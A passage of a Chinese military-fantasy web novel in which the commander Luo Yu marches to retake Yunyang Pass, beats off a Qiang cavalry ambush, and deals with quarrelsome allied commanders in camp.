“行了,我也该走了。”
“这就走了?没什么想跟我说的?”
“说什么?”
“没什么!”
洛羽一脸茫然,沈漓气急败坏。
“奇奇怪怪,那我走了。”
洛羽拍拍屁股站了起来,沈漓一急,蹭的一下站了起来:
“你什么时候回来!”
“这就不知道了,鬼知道这一仗要打多久。”
洛羽双手一摊:
“快的话入冬前就能回来,慢的话肯定得打到明年。”
“你,你自己要小心。羌兵凶残得很,当初云阳关一战**很多人,这次你们还得攻城,只怕要更加凶险。”
沈漓没来由地红了眼:
“千万注意安全,我在家里等你回来。”
话刚说出口,沈漓的脸颊就红了,这怎么像小媳妇对自己的丈夫说的话?
“记得了。”
洛羽没有脸红,只是很认真的点了点头:
“我会平安回来的。”
“嗯。”
沈漓红着脸、低着头,局促不安地捏着衣角。
屋中的氛围似乎有点旖旎。
好在下一刻萧少游就疾步走来,打破了屋中的沉寂:
“城主,君墨竹来了。”
第110章将洛字旗插满云阳关
一袭墨色长衫出现在了苍岐城的营墙上,君墨竹注目远眺,略显惊讶:
“短短半年,苍岐竟然就有如此规模,你了不得啊。”
两人所处的位置是第一道营墙,也就是一开始用木桩建起来的,往山内再去四五里路就能看到正在兴建的砖石城墙,民夫们从岐城搬运巨石,穿过营墙,然后将城墙一点点加高,历经半年的修缮,城墙已经颇具规模,几乎与营墙等高。
营墙与城墙之间有一排排整齐的木屋,全都是军卒的驻地,角落里囤积着甲胄、军械、粮草等军需物资,中间还开辟出几条宽阔的走马道,足以容纳大批骑军通行。
按照洛羽和萧少游的构思,如果未来有一天苍岐城遭到进攻,那么营墙与城墙便是最前沿的两道防线,如果连城墙都被攻破,那守军就只能依托山势,与入侵之敌展开血战。
“怎么,出乎君公子的预料了是吧?”
洛羽神色冷漠,语气中带着一丝讥讽:
“这世上还有君公子没料到的事?我猜你应该一直派人盯着苍岐的变化吧?”
“你这话说的,就像本公子一直在监视你。”
“恐怕不止是在监视我,还明里暗里给我使了不少绊子。”
“噢?不知洛城主指的是哪件事?”
“自然是饮马镇曹殇了。”
洛羽冷声道:“以姚林的地位怕是请不动曹殇相助,若是我猜得没错,应该是君家在背后替姚林牵线搭桥吧?”
这件事洛羽并没有去找曹殇核实,但他心中认定,此事与君墨竹脱不了干系。
“确实是我派人联系了曹殇。”
君墨竹微微一笑,似乎知道洛羽会猜出来:“光凭一个姚家已经拿你没办法了,不给你制造点麻烦怎么行?”
“为什么要给我制造麻烦?我从未得罪过你。”
洛羽很不理解:“难道只是因为我拒绝了你的招揽?如果真是如此,那君公子未免有些小肚鸡肠了。”
“呵呵,在陇西三州,敢这么跟我说话的人可不多见啊。”
话说得很霸气,但君墨竹的语气中并无半点怒意:
“其实吧,一开始我只是想对你施加压力,让你知难而退入我君家,我对你并无敌意,只是单纯地欣赏你这个人。但你这半年的表现让我明白一件事,你绝不愿意屈居人下,像你这样的人就算入了我君家,也不会忠心。”
洛羽没有接话,但他的表情完全就是默认。
“现在的我更好奇你能走到哪一步,是苍岐、凤川两城的城主,还是能在阙州异军突起,甚至取代李家,又或者只是昙花一现。”
君墨竹平静的看着洛羽,眼神中少了几分上对下的倨傲,多了几分凝重与认真。
洛羽冷冷地说道:
“那君公子看着便好,但希望少做些手脚,像曹殇这样的事我不希望再发生第二次。”
“怎么,你没在曹殇这件事中获利吗?没有曹殇,你哪来的这么多战马?”
君墨竹反问道:“姚家花钱让曹殇对你出手,确实危险,但对你来说又是机遇,不是吗?你抓得住这次机遇便能搞到一批战马,抓不住,无非死在曹殇的手下罢了。”
洛羽僵住了,无言以对,话这么说没错,但总觉得被人**于股掌之间。
“今日我来,一是和你随便聊聊,二嘛,我知道你要率兵出征云阳关,算是来给你送行。”
君墨竹从怀中掏出一张信纸:
“李家调集了好几方兵马齐聚云阳关,这些是相关武将的情报,算是我对你的补偿吧。另外,羌兵主将完颜康是完颜昌的亲弟弟,完颜昌死在你手里,完颜康不会善罢甘休的。
你自己多加小心。”
洛羽毫不犹豫地便接过信纸往怀里一塞,连个谢字都没说,苍岐城情报匮乏,这东西真是他急需的。
“小心,不仅仅是小心完颜康。”
君墨竹淡淡的说道:
“你是聪明人,应该听得懂。”
洛羽眉头一挑,不仅仅是完颜康,那就是还要小心自己人?
“走了。”
君墨竹轻挥衣袖:
“不用送,若是你真能夺回云阳关,我君墨竹请你喝酒!”
……
日初清晨,山风呼啸
盛夏已过,天气渐凉
一支全副武装、身穿黑甲的精锐军卒安静地矗立在苍岐城外,一千骑兵、六百步卒,总计一千六百人今日就要挥师边关,收复云阳关。
一匹匹战马高昂着头颅,精锐悍卒们全都挺直胸膛,神情肃穆,自从洛羽在凤川
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城外击败羌军之后,民间开始称呼这支精锐为洛家军。
看那玄底“洛”字旗,迎风作响。
不管是苍岐城头还是山路两侧的土坡上都挤满了乌泱泱的百姓,扶老携幼、翘首以望。几乎都是从苍岐、凤川两城赶来的老百姓,其中有不少人的儿子、丈夫都身处这支军伍之中。
许多流民在这里安了家、许多穷人分了地,生活重新有了盼头,如今的他们无比渴望活下去,好好守护这份希望。
沈漓、韩朔、江殊、梅雪崖、公输白全都早早地来到城头,为大军送行,大家早就是一根绳上的蚂蚱了,洛羽赢,两城存,洛羽输,两城亡。
陇西人都说羌兵**如麻、残酷冷血,闻者无不变色,可洛家军的身上似乎看不出半点胆怯,反而有熊熊战意在弥漫。
梅雪崖怔怔地望着黑甲军伍:
“江兄,我现在懂你的感受了,他们确实让我心里倍感踏实。”
凤川一战,洛羽出现的那一刻江殊就说凤川守住了,当时梅雪崖问他哪来的底气,为何如此信任洛羽,现在他明白。
这支精锐就是底气!
江殊感慨道:
“阙州能出此等人物,是我们的幸运。”
梅雪崖怅然一声:
“可他们去的毕竟是疆场啊,古来征战几人回。”
韩朔轻声呢喃:“生在陇西,这就是陇西人的宿命。”
众人不语,陇西人才知陇西苦。
忧虑、不舍、祈祷各种各样复杂的表情浮现在百姓们的脸上,洛羽朗声高喝:
“告别乡亲父老!”
“轰!”
将士们没有跪地行礼,而是右手握拳,狠狠一砸胸甲,轰鸣声震耳欲聋。
有人红了眼,有人落了泪。
城头上的沈漓钻出人群,冲到一驾战鼓旁,举起鼓槌狠狠一砸:
“祝我将士,凯旋而归!”
“祝将士们凯旋而归!”
百姓们纷纷跪伏在地,诚心祈祷。
这一刻就算是铁打的汉子也红了眼,不忍心去看自己的亲人同胞,只想着早点出征,早点回家。
洛羽长呼一口气,翻身上马:
“走吧,让我们将洛字军旗,插满云阳关!”
“全军上马!”
“出征!”
第111章半路伏击
黄沙滚滚,初秋风响,天地间的燥热已经被一丝凉意取代。
苍岐距离云阳关约莫两百里之遥,大军沿着官道行军,三天赶了一百多里路,大概还剩六七十里便能抵达云阳关附近。
越往西人烟就越少,景色也越荒芜,沿途几乎看不见寻常百姓的身影,偶尔路过几个村落也是空无一人,要么全村死绝,要么拖家带口的逃难去了内地。
一千六百人的队伍拖拉得老长,骑兵都只穿单衣行军,毕竟战甲那么重,一直穿着人累马匹也累。队伍中还有上百辆马车、驴车,装的都是军粮。
按照约定,到了前线之后的军粮由朝廷和李家提供,但洛羽知道那些粮草发下来必会被克扣,所以特地留了个心眼,自己带了一些粮食。
萧少游停马在行军队伍旁轻声道:
“照这个速度,明天日落之前就能抵达前线。”
“没错,已经有大批兵马在云阳关外安营了。”
洛羽望了一眼云阳关的方向:
“这次李家抽调了四五家的牙兵,还有一支朝廷派来的兵马,总兵力估计会达到六七千人,为了夺回云阳关李家也是下了血本。”
出征之前李玄冰就派人通报过云阳关的情况,再加上君墨竹给的情报,洛羽对前线的态势还算了解。
“云阳关握在羌人手里就像是一柄刀抵在李家的咽喉上,想什么时候捅就什么时候捅。”
萧少游冷笑一声:
“之前不知道用心去守,现在城丢了才知道拼命,晚了。”
在两人看来李家完全是自讨苦吃,一直不派重兵驻守云阳关,真以为次次都能有洛羽这种人横空出世,力挽狂澜?
“现在说什么都晚了,既然来了,收复云阳关便是我们的任务,就当我们在守卫苍岐吧。”
洛羽策马回转,准备汇入行军队伍,却发现萧少游的视线紧盯地面,那里有一坨看似不起眼的马粪。
“怎么了?”
萧少游用弯刀挑起马粪,轻轻一抖便能看到粪便中夹杂着粟谷,当即眉头就皱了起来
“精饲料,这是战马拉的马粪,而且时间不久。”
骡马、家马还是战马,所用的饲料肯定是不同的,萧少游只需要一眼便知道这是战马拉出来的粪便。
“有战马通过此地?”
洛羽心中疑惑:
“没听说有其他家的军卒从这里通过啊,怎会有战马的马粪?”
“该不会是?”
两人对视了一眼,有一股不安从心底浮现。
远处的丛林中陡然飞出一群鸟儿,在空中胡乱扑腾,叽叽喳喳,像是受了惊。
洛羽的眼神瞬间冰冷:
“还真被我们猜中了。”
萧少游毫不犹豫地策马转身,朗声怒喝:
“全军停止前进!”
“骑军披甲上马,步卒举盾列阵,准备迎战!”
“敌袭!”
突然的吼声引发了短暂的骚乱,哪有敌军?四周不是空空荡荡吗?不过军心很快就稳定下来,将士们披甲的披甲,举盾的举盾,拉弓的拉弓,井然有序。
练兵半年,闻令而动四个字已经深深刻在了所有士兵的骨子里,哪怕萧少游在逗你玩,你也得听令而行!
“轰隆隆!”
行军队伍刚有所动作,远处大地就渐渐轰鸣,密密麻麻的黑点跃出地平线,紧随而来的便是羌兵标志性的嘶吼、鬼叫,看规模应该有五六百骑军。
真有敌袭!
洛羽面色阴沉,行军途中的遭遇战是很致命的,别看他麾下有一千骑兵,可行军过程中他们是不披甲、不持械的,第一时间无法迎战。所以得靠步卒先拖延一些时间,等骑军成军出战,如果羌兵一鼓作气冲破军阵,那情况可就糟糕了。
萧少游挥动令旗,不停怒喝:
“吕青云在左、余寒弓在右,全军向西,两尉兵马呈扇形列阵!”
“诺!”
所有步卒都集中在吕青云、余寒弓的麾下,两尉兵马分为左右两翼,迅速架盾搭弓摆出了防守阵型。部分士卒心中微慌,但手中动作不乱,因为他们上头的标长、百户稳如泰山,不停地根据萧少游的命令变化阵型。
“**手预备!”
第一批**手已经准备就绪,萧少游手掌悬空,然后猛地挥落:
“放箭!”
“嗖嗖嗖!”
不算密集的箭雨腾空而起,稳稳落入羌军骑阵之中,几个倒霉蛋应声**。箭雨造成的伤害虽然不大,但却令羌兵十分诧异。
寻常军伍面对他们的偷袭只怕已经吓得溃不成军了,可这支兵马竟然敢原地结阵迎敌,甚至如此迅速地就发起了反击。
领军而来的黑脸羌将讥讽一笑:
“难道就你们有箭?”
“给我放箭!”
“嗖嗖嗖!”
箭矢在空中不
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断挥舞,不断有死尸倒在黄沙中,公输白改良的弓箭果然厉害,不管是射程还是力道都比羌兵强了好几分,隐隐间竟然压了羌兵一头。
“混账,准备冲阵!”
黑脸羌将有些不悦,这批兵马似乎比他想象中要厉害不少。
“防御,坚守阵地!”
“嚯!”
持盾卒人人伏低身子,右腿呈马步状,几乎是用半个身体的重量去抵住盾牌,没办法,战马的冲击力太强了,若是不使出全力拒马一定会被马蹄活生生踩死。
“宰了这些乾军,杀!”
带头冲锋的一名羌兵百户怒目圆睁,手中**已经蓄满力道,只等着一枪捅死拦路的步卒。
“嗖!”
就在他弯刀举起的那一刻,一支利箭迎面射穿了他的头颅,鲜血飞溅,惊得四周羌兵面色泛白。
余寒弓冷冷的搭起下一箭:
“箭射出头鸟,让我看看谁急着去见阎王!”
相比于余寒弓的远攻杀敌,吕青云就显得狠辣得多,弃马步战,手握一杆**站在防线最前沿,身先士卒。
一匹羌马猛冲而来,马蹄撞上盾牌,羌骑与步卒同时一颤,战马僵持在了半空中,吕青云瞅准时机,猛地出枪一捅,枪尖正中马腹,没入半截,当场便是一片血雨轻洒。
一声凄厉的嘶鸣回荡全场,羌兵当场被甩飞出去,一头栽进了防线后方,心知不妙的羌兵手忙脚乱地去摸腰间的佩刀,可吕青云的刀锋已经飘然而至。
“想偷袭?你们选错了对象!”
“喝!”
“噗嗤!”
刀锋滑落,一颗硕大的人头滚落在旁,血腥无比。
靠着长久以来的训练以及默契的配合,三百羌骑的第一轮猛冲硬生生被挡住了,盾牌阵前方多出了数十具鲜血淋漓的死尸。黑脸羌将眉头微皱,手臂轻轻一挥,前排冲锋的骑军迅速脱离战场,绕着防线两翼疾驰,直奔队伍后方的马车。
那儿的马车只有少许押运粮草的车夫看守,并无严整的盾阵。
“妈的,冲着咱们粮草去了。”
萧少游面色冰冷,六百步卒能在正面组织起一道防线已经很不错了,如果再分兵去守后方的粮草整个防线便会脆弱无比,从而被羌兵分头击破。
“不用管粮草。”
洛羽面无表情地说道:
“先稳住阵型,拖到骑兵出战,我们就能赢!”
第112章谁泄露了行踪?
“喔喔喔!”
“杀啊!”
羌兵挥舞着马刀发出阵阵吼叫,守卫粮车的民夫只能躲在马车后面,没有半点反击之力。刚刚在正面吃了点亏的羌兵又嘚瑟起来,开始纵马驰骋。
“吁吁!”
一阵尖锐的哨声响起,部分羌兵娴熟地从马背上摘下灌着火油的坛子,抡圆胳膊往高空一抛,油罐砸落在粮车上,浓浓的火油味十分刺鼻。
“竟然还带了火油,撤,离开粮车!”
萧少游冷声怒喝:“稳住阵型即可,先保命!”
“嗖嗖嗖!”
又是一波箭雨从羌兵阵中射出,只不过这次的箭头上带着火苗,火油一点就着,粮车上顿时燃起了熊熊大火,顺风一吹,火势越烧越大,滚滚浓烟弥漫全场。
阵中的将士们那叫一个气啊,这可都是从地里辛辛苦苦种出来的粮食,就这么被羌兵糟蹋了。
“哼,没了粮看你们吃什么!”
黑脸羌将露出了一抹得意的笑容,但下一刻骤然而起的马蹄声让他的脸色又黑了几分。
“轰隆隆!”
一支骑军陡然从粮车背后杀出,靠着步卒争取出来的时间,骑军将士总算披挂好了甲胄,率先出战的乃是洛羽的两百亲兵。
小伍一马当先,怒声出枪:
“该死的羌贼,吃我一枪!”
“噗嗤!”
只因火势太大,又有浓烟弥漫,羌兵浑然没有察觉到有骑兵杀出。
当先一名羌兵猝不及防,被**贯胸而过,血溅当场。边上的许韦更猛,竟然一枪正刺,重创羌兵,然后反手挑着羌兵往粮车上一扔,火苗瞬间吞噬了羌兵的躯体,凄厉的惨叫声回荡全场。
两百骑奋勇争先,人人挺枪策马猛冲猛打,一个冲锋直接让羌兵前锋出现了溃散的迹象。
“好强的骑兵,竟然还披甲!”
满目的黑甲精骑让羌将目光陡变:
“妈的,碰到硬点子了。”
“撤,快撤!”
羌兵呼啦啦地往后退去,一时间阵型散乱,洛羽的嘴角勾起一抹冷笑:
“现在想起来跑了?晚了!”
小伍带兵迎头痛击,董川与蒙虎两尉兵马则从两翼绕行,犹如一把尖刀斜着杀进了战场,场面瞬间大乱。
董川的脑子最好使,带着麾下骑兵一路冲杀,眨眼间便将松松垮垮的骑阵拦腰截断,羌兵被分为前后两个部分,互相不能支援,顿时军心大乱,人人只顾着奔逃。
蒙虎就不一样了,刚杀完两名羌贼就注意到了远处的军旗,一扯缰绳猛然转向,直接杀奔带兵的羌将,拦在身前的敌军愣是被他一枪砸翻在地,吐血毙命。
如此狠辣的攻势再配上雄壮的体型,羌将吓得浑身一哆嗦,拼了命地催动战马:
“撤,快撤!”
说时迟那时快,蒙虎的战马已经奔至眼前,一杆**横挥而出,势大力沉。羌将见无法躲开,只能咬紧牙关、扭头还击,使出浑身的力气将枪杆往胸前一横。
“砰!”
“咔擦!”
蒙虎的一枪岂是他能拦住的?枪杆当场被砸断成两截,然后就像是有一座小山砸在了胸口上,剧痛袭遍全身。
“噗嗤!”
羌将满口喷血,倒飞而出,瘫在地上浑身发抖,目光中带着恐惧与震惊,这到底是个什么怪物。
“呸!”
蒙虎提枪策马,啐了口唾沫:
“跑,让你跑!”
……
短短一个时辰,气势汹汹的羌兵游骑便被洛家军打得落花流水,三路骑兵尽出,一举扭转胜负。半数羌兵当场丧命,还有小半数四散而逃。
军卒们已经开始打扫战场,为了防止还有敌人偷袭,董川蒙虎两尉兵马就守在队伍外围,随时准备迎战。
萧少游清点了一下损失,苦笑道:
“咱们反应及时,士卒倒是没什么伤亡,但有半数的粮车被烧毁了,仗还没开始打咱们就损失了一半粮草。”
“罢了,粮草的事以后再说,没什么伤亡已经是不幸中的万幸。”
洛羽的嘴角微微勾起,面带寒意:
“我倒是更好奇羌兵为何会出现在这里。”
“城主,人我抓住了。”
蒙虎拎着半死不活的羌将走了过来,随手往地上一丢,鲜血已经染红了他大半衣袍。剧痛让羌将浑身抽搐,目光中更是带着一股恐惧,这伙人怎得如此厉害?
洛羽似有些不悦地皱起眉头:
“不是让你抓个活口吗,怎么打成这样?”
“半死不活也算活嘛。”
蒙虎尴尬地挠了挠头:
“我就给了他一枪,谁知道这家伙不经打,差点被我打死。”
众人一
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阵无语,自己的力道心里没数吗?就你那一枪有几个人能扛得住。
洛羽也不多言,居高临下看着黑脸羌将:
“你们的主力不是应该守在云阳关一线吗,你怎么深入到这儿来了,像是在故意等我们。”
黑脸羌将连着吐了好几口血,恶狠狠的瞪了洛羽一眼,并没有打算回答的意思。
洛羽微微俯身:
“你们是不是收到了情报,知道我们的行军路线,所以才带兵设伏?”
“哼!”
黑脸羌将还是不吱声,可眼神闪烁,似乎在躲避洛羽的目光,就这么一个细微的神态就让洛羽确定,羌人一定知道他的行军路线。
“杀了吧。”
洛羽轻飘飘地一挥手,蒙虎上前就是一刀,干脆利落地割破了他的咽喉,连一声惨叫都没发出脑袋就往边上一歪。
萧少游一脚踢开死尸,皱眉道:
“你是怀疑我们的行军路线泄露了?”
“除此之外我想不出其他的理由。”
洛羽平静的说道:
“各路兵马齐聚云阳关,按理说羌兵现在应该是以云阳关为支点,据城固守才对,不应该派大规模游骑外出。
除非他们有准确的情报,能够给予我军重创!”
今日被伏击的是洛羽,所以羌兵败了,但换成其他任何一家兵马都得吃大亏,五六百羌骑迎面一冲,阵型必散,行军中的步卒队伍注定会迎来一场**。
“妈的,难不成又和当初一样队伍里出了内奸?”
蒙虎破口大骂:
“咱们还没到前线就被阴了一手,这些怂包怎么整天想着投敌!”
“行了,你少说两句。”
洛羽的脑筋在急速运转,突然想起分别前君墨竹说的话,要小心。
不仅要小心完颜康,还要小心自己人。
难不成他提前知道了点什么?又或者只是单纯地信不过各家牙兵。
“有骑兵靠近!”
一声怒吼打破了众人的沉思,难道还有伏兵?
天边尽头涌出一队百人骑兵,规模远没有他们庞大,还有一面“霍”字军旗在风中微微飘扬。
众人心头一松,这不是羌兵,而是自己人。
“霍字旗?”
洛羽眉头一挑,迅速从君墨竹给的情报中找出了一个人名:
“霍连城。”
第113章真够乱的
百十号骑兵疾驰而来,为首一将扫了一眼血腥的战场高喝一声:
“敢问可是苍岐洛城主的兵马!”
约莫三十来岁的中年汉子,身材魁梧,眉宇间带着一分冷酷,像是久经沙场的军汉。
“在下洛羽,见过霍将军。”
洛羽上前打了个招呼,看到那面“霍”字军旗的时候他就猜出了来人的身份。
根据君墨竹给的情报,此次李家召集的兵马中就有一支姓霍的,主将名为霍连城。
此人原先是边军中的一名都尉,多年前也曾驻守云阳关,后来不知因何退出了边关,自己在内地拉起了一支兵马。
不过他这个将军是自封的,可不是正儿八经的朝廷官职。
霍连城与曹殇一样,干的都是佣兵行当,但他没有曹殇命好,没能占得一片马场,麾下兵马几乎都是步卒,所以挣的银子也远不如曹殇。
但听说此人是个滚刀肉,手下兄弟敢打敢拼,在阙州一带颇有威名,这次是李家花费重金请他参战的。
“没想到大名鼎鼎的洛城主还听说过我,真是令人意外。”
霍连城的嘴角勾起一抹笑意:
“霍某有礼了,你们这是遭遇了羌兵?”
“确实遇到了羌兵埋伏。”
洛羽扫了一眼战场:
“区区数百骑而已,已经被我击退了。”
“洛城主的口气就是不一样,几百羌骑都不放在眼里。”霍连城打趣道:
“若是在下被伏击,怕是只能抱头鼠窜。”
“霍将军玩笑了。”
洛羽目光闪烁,有意无意地问了一句:“我记得从你的驻地到云阳关似乎不该走这条路吧,你怎么会出现在这里?”
“巧了不是,我原先走的那条官道因为山石垮塌封了路,只能绕道。”
霍连城解释道:
“一个时辰前我的哨骑回报,说前方发现两拨兵马正在交战,其中有一面洛字旗,我料想是羌兵入侵内地,与洛城主撞上了。
这才率骑军先行一步,看能不能帮上一些忙,没想到洛城主已经击败了羌军。
倒是霍某白跑一趟了。”
“呵呵,霍将军的好意在下心领了。”
洛羽轻扯缰绳,做出个请的手势:
“要不咱们一起去云阳关?路上也好有个照应?”
霍连城欣然同意:
“正合我意!”
……
大军终于到了前线。
所谓的前线并不是云阳关,而是云阳关往东四十里左右的黑水坡。
因为羌兵擅野战、不擅守城,所以他们没有据云阳关坚守,而是派出部分兵马前出迎战,以发挥自己的骑兵优势。
乾、羌两军就沿着黑水坡安营扎寨,互相对峙。
“好大一片军营啊。”
洛羽被眼前的景象震撼了,密密麻麻的军帐矗立在黄沙地上,外出游弋巡逻的哨骑络绎不绝。
以前驻守在云阳关内的时候军营都是分散的,而且在城中也看不出规模,这一次几千兵马都汇聚在一起,场面很是壮观。
还有数不清的军旗在风中飘扬,最威武的依然是“乾”字边军旗,然后还能看到好几个不同的姓氏,自然代表着各家牙兵。
这次云阳关失守,朝廷也象征性地派出了一员老将带兵前来,据说姓陆,不过主力兵马都是李家的人。
“好些年没看到这么大阵仗了。”
霍连城面无表情的说道:
“到底是李家啊,除了他们也没人有这么大手笔。”
洛羽瞄了他一眼,总觉得此人话里有话,霍连城大概是个冷淡性子,一路下来两人都没怎么聊天。
“驾!”
“哒哒哒!”
就在两方兵马驻足不前时,一队游骑策马扬鞭,朝着两人疾驰而来。
“哈哈哈,霍将军,许久不见,你还是和以前一样俊朗啊!不像我,胖了许多。”
“我那儿是穷乡僻壤,日子哪比得上鲍城主舒坦。”
为首的一名中年男子朗笑出声,和霍连城打起招呼,给人感觉很熟的样子,但霍连城只是很客气的应付了几句。
那人也不在意,随即目光就看向洛羽:
“这位想必就是苍岐洛城主吧,久仰大名,果然是少年英豪,今日终得一见,幸甚幸甚啊。
在下宜城城主,鲍卿!”
“鲍城主
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客气了,在你们面前我是晚辈,当不得如此大礼。”
洛羽很谦虚的回应了几句,初来乍到的,对人得客气些。
不过君墨竹的情报中提及过此人,鲍卿和姚林差不多是个城主,给李家纳税,战时遵从李家的调令。
几人刚客气了几句,就被边上另一位中年武将给打断了,冷冷地说道:
“霍将军,你看看人家洛城主,年纪轻轻就已经手握苍岐、凤川两城,你怎么混了这么多年还在游荡?
啧啧,我都替你羞愧。”
“秦昭,你不说话没人那你当哑巴。”
霍连城瞪了他一眼的说道:
“这两年混出头了是吧?以前怎么不敢跟我说话?”
洛羽的嘴角闪过一丝玩味,看来秦昭和霍连城之间有些恩怨啊。
秦昭是他在情报中重点关注的对象,因为此人一开始籍籍无名,后来投入李家麾下后便日益壮大,替李家杀过不少人,据说是李家的死忠。
像这种人一定心狠手辣!
“哎哎哎,怎么刚一见面就吵?”
眼瞅着情形不对,鲍卿赶忙跳出来打圆场:
“无非就是一些小矛盾罢了,何至于记到今日?如今我们可是要一起并肩作战的同袍兄弟,若是如此针锋相对仗还怎么打?”
“哼!”
两人互相瞪了一眼,各自扭过头去。
秦昭更是一扯缰绳,率先离去,鲍卿只好跟上,临走前还说了一句:
“两位尽快收拾一下,安顿好军卒之后就去帅帐吧,陆老将军还在等你们。”
“好!”
两人相继远去,霍连城始终板着一张脸。
洛羽好奇地问道:
“霍将军与他有什么过节吗?”
“算是吧,早年间抢地盘的时候跟他交过手,我的手下败将罢了。”
霍连城讥讽一声:
“可如今人家攀上李家,今非昔比了。”
“罢了,我也不计较,洛城主,我先行一步!”
“好!”
望着三人相继离开,洛羽只觉得脑袋发涨:
“妈的,这样一群人凑在一起也能打胜仗?
真够乱的!”
第114章真拿自己当爷了?
帅帐内人影寥寥,气氛肃穆。
主位上坐着的是一名白发苍苍的老将军,也是此次收复云阳关的主帅,陆铁山,朝廷正儿八经加封的从四品武将。
陆铁山本就是阙州人,从军三十载,谈不上战功赫赫,但从未出过什么纰漏。陇西边境这些年吃了那么多败仗,能活到现在本就说明不是庸碌之辈。
老人五年前就已经退出军伍,赋闲在家,可这次云阳关失守又被朝廷重新启用,硬是给派到前线,说明边关实在无人可用。
下首位的中年男子微眯着眼眸,像是在闭目小憩,但有一股傲气由内而外的散发出来,洛羽太熟悉这种自傲了,一看就是李家人。
李光业,大军副帅。
剩下的三位洛羽都见过:李家死忠秦昭、宜城城主鲍卿外加佣兵头子霍连城,算上自己正好六路兵马。
洛羽不着痕迹地观察几人,一个头两个大,上次在云阳关仅仅三方势力还有那么多尔虞我诈,这次六路兵马齐聚,鬼知道这场仗会打成什么样。
此次乾军总计集结了**千人,但六路兵马实力又各不一样:
陆铁山手下是朝廷给他凑的千余兵丁,看似官位最高,实则纸面实力最为弱小;李光业兵强马壮,整整两千人;其余四位差不多,大致在一千到一千五之间,秦昭和洛羽稍微强点。
但四路兵马都是李家召集来的,所以李光业的话语权大的吓人。
“既然大家就认识了,那咱们就闲话少说。”
陆铁山朗声道:
“此次本将奉朝廷旨意而来,老夫是阙州人,在座的也都是阙州人,应当明白云阳关对阙州的重要性。
云阳关一失则阙州门户洞开,内地将任由羌兵肆虐,民不聊生。你我既然身为阙州军卒,岂能容羌贼横行?
所以望诸位能够齐心协力,奋勇杀敌,共同收复云阳关!”
“我等必谨遵老将军军令行事。”
参差不齐的声音响起,听起来没什么杀气,每个人的眼珠子都在转,心怀鬼胎。
陆铁山毫不在意,他在阙州从军这么多年,岂会不知道阙州大小军头的心思?对这一幕早已见怪不怪。
“霍将军洛将军初来乍到,老夫先讲讲前线的情况吧。”
洛羽愣了一下,第一次被人称为将军,心中感觉怪怪的。
陆铁山手指地图:
“羌兵主帅完颜康,率军六千袭扰阙州。但羌兵不擅守城,所以分兵三千交由副将达尔花统领,驻守在黑水坡与我军对峙。
达尔花将三千人分作四处扎营,扼守险要。也就是说想要收复云阳关,咱们就得先解决他的三千兵马。”
洛羽微微点头,完颜康的脑子不傻,看似离开坚固的城墙是劣势,实际上却能最大程度地发挥羌兵骑战的优势。
“老将军,三千羌骑可不是那么好对付的。”
鲍卿苦笑一声:
“想要攻克黑水坡,绝非易事。”
说来也巧,帐外恰好响起了阵阵嘈杂,还有隆隆战鼓声回荡,一听就知道又是羌兵来叫阵了。
陆铁山环视帐内一圈:
“今日哪位将军愿意领兵出战?”
帐中一片沉默,在洛羽和霍连城到达之前他们已经与羌人打过几仗了,都是羌兵小胜,现在谁也不愿意派兵出去送死。
明明是来收复云阳关的,却被羌兵打得闭门不出,当真憋屈。
“咱们打不赢,总有人能打赢嘛。”
秦昭突然轻笑一声,意有所指地说道:
“比如霍将军在内地威名赫赫,据说麾下军卒更是骁勇善战,今日倒不如让霍将军出战,让咱们长长见识。
你此前不就是边军中退出来的嘛?想必羌兵在你眼里都是土鸡瓦狗吧。”
语气中的讥讽丝毫未加掩饰。
“秦将军兵强马壮的,谁敢在你面前班门弄斧?”
霍连城想都没想就怼了回去:
“倒不如秦将军先出战,给咱们打个样,我霍连城可以亲自为你擂鼓助威!”
“哪里敢让霍将军擂鼓……”
两人你一言我一语,针锋相对,秦昭硬是要逼着霍连城出战,但霍连城就是不上钩。
在场之人都知道他俩有旧怨,谁也不吭声,免得惹一身骚。
洛羽实在是看不下去了,插了句嘴:
“陆老将军,我与霍将军初来乍到,人疲马乏,此时出战只怕不妥,倒不如休整些时日,再战不迟。”
洛羽一开口场面就安静了下来,秦昭目光微寒,似乎有些不悦。
“我倒是忘了,咱们还有一位能征惯战的洛将军。洛将军可是杀过完颜昌的英雄豪杰,想必他弟弟完颜康你也不放在眼里。
倒不如让洛将军出战,替我
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边军扬名。”
“好了,都别争了。”
陆铁山总算开口了:
“洛将军说得没错,兵疲马乏不宜出战,咱们先高挂免战牌,过几日再战!”
“散了吧!”
众将齐聚的第一次议事匆匆结束,气氛并不算融洽,秦昭路过洛羽身边的时候冷冷地哼了一句:
“真以为打了两场胜仗就是爷了?奉劝你一句,少管闲事!”
望着远去的背影,洛羽的眼眸中闪过一抹冰冷,这家伙难道是属狗的,见谁咬谁?
“为何要帮我?”
霍连城出现在身旁,眼神中带着不解。“不是帮你,只是说句公道话罢了。”
洛羽淡淡的说道:
“现在出战,必败无疑。都是阙州的军卒,没道理白白拿出去送死。”
霍连城目光闪烁,摆摆手走了:
“谢了!”
……
夜深人静、万籁俱寂
刚刚安顿完军营,洛羽和萧少游就凑在了一起合计:
“你觉得半路伏击是有人泄露了我们的行踪,还是倒霉正好被羌兵撞见?”
“不好说啊。”
萧少游皱眉沉思:
“但我的直觉是有人泄密,阙州内地那么大,怎么就偏偏被我们撞上了?”
“如果是有人要冲我来,那会是谁呢?”
洛羽眉头紧凝,君墨竹那句小心他始终记在心里。
“苍岐发兵前线的消息并不是秘密,但咱们的行军路线只有军中少数高阶将领知道。”
萧少游冷静的分析着:
“陆老将军肯定不会,他与你无冤无仇,李光业也不会,李家若是要对付我们直接在凤川城动手就行了,没必要拖到现在。
秦昭、鲍卿、霍连城,如果光凭感觉,霍连城的可能性倒是最大,我们刚遇袭他就出现了,是不是太巧了些?”
“不好说啊,没有证据咱们不能乱讲。”
洛羽皱眉沉思:
“会是谁呢?”
“对了,还有一件要紧的事。”
萧少游苦笑道:“咱们的粮草被烧毁了半数,存粮支撑不了几日,我去营中找军需官问过,朝廷发粮要等到月底,咱们可等不了啊,得想办法弄点粮食。”
“这个我来想办法。”
洛羽无奈道:
“我先抽空去找一趟陆老将军吧,看能不能要些粮食。”
第116章只教一次,学会了吗?
董川麾下的三百骑缓缓行出军阵,精铁黑甲在正午阳光的照耀下熠熠生辉,长矛如林,矛尖垂指地面,在沙土中划出三百道细长的痕迹。
轻扯缰绳,马蹄前踏,战马发出阵阵嘶鸣,仿佛嗅到了即将到来的血腥味。
正好一标一排,十排骑军整齐向前,人人面色冷漠,毫无寻常边军面对羌兵时的那种畏惧、慌乱。
